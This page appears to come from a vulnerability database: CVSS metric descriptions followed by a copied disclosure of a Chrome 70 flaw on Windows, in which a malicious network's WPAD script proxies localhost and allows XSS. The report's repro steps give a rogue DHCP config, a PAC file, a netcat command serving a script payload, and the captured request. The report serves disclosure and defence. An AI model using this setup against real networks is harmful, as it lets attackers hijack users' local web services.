The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Google Chrome 70.0.3538.77 Cross Site Scripting / Man-In-The-Middle
Chrome: malicious WPAD server can proxy localhost (leading to XSS in http://localhost:*/*)
VERSION
Chrome Version: 70.0.3538.77 stable
Operating System: Windows 10 (version 1803)
When Chrome is installed on Windows and the user joins a malicious network that advertises a WPAD script (e.g. via DHCP), Chrome will fetch the WPAD script from the specified URL and use it for proxying decisions. In particular, for requests to http:// origins, the request is simply sent to the proxy instead. This is normally acceptable because if the network is malicious, an attacker could also perform a man-in-the-middle attack against any HTTP request.
However, localhost should be special. There are applications that bind a web server to localhost and then use "Host" header checks to prevent DNS rebinding attacks. Such applications need to be protected from malicious outside traffic even if the network is malicious. Currently, Chrome does not special-case localhost in proxying decisions; this means that an attacker can abuse WPAD to gain the ability to serve attacker-controlled content at http://localhost:*/* , at which point the attacker should be able to perform same-origin XHR to http://localhost:*/* (e.g. by letting the PAC file specify "DIRECT" as fallback if the proxy goes down).
I have tested that I can serve an attacker-controlled HTML file under the <a href="http://localhost/" title="" class="" rel="nofollow">http://localhost/</a> origin to Chrome in a VM with Windows 10.
=== repro steps ===
1. Set up a Windows 10 VM that is connected to a network bridge, without using a DHCP server integrated into the VM software.
2. Set up a DHCP server with a config that contains something like this:
option domain-name-servers 8.8.8.8;
option wpad-url code 252 = text;
subnet 192.168.250.0 netmask 255.255.255.0 {
range 192.168.250.100 192.168.250.200;
option routers 192.168.250.1;
option wpad-url "http://192.168.250.1:8080/proxy.pac";
}
3. Set up an HTTP server (e.g. with "python -m SimpleHTTPServer 8080") that serves the following file as proxy.pac on port 8080:
function FindProxyForURL(url, host) {
if (dnsDomainIs(host, "localhost")) {
return "PROXY 192.168.250.1:8081";
} else {
return "DIRECT";
}
}
4. Set up some sort of HTTP server that can serve HTTP traffic on port 8081 and doesn't get confused by the weird HTTP request of a proxy connection too much. netcat is easy to use for this, thanks to HTTP/0.9 (but note that this will be a one-shot server):
$ echo '<script>alert("hello from "+document.location)</script>' | nc -vlp 8081
Listening on [0.0.0.0] (family 0, port 8081)
5. Restart the VM's network connectivity and restart Chrome.
6. Navigate to <a href="http://localhost/" title="" class="" rel="nofollow">http://localhost/</a>.
=== Expected result ===
Chrome should connect to localhost directly and ignore the proxy.
=== Actual result ===
Chrome shows an alert box saying "hello from http://localhost", and netcat shows a request like this:
Connection from 192.168.250.105 51278 received!
GET <a href="http://localhost/" title="" class="" rel="nofollow">http://localhost/</a> HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
Found by: jannh
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum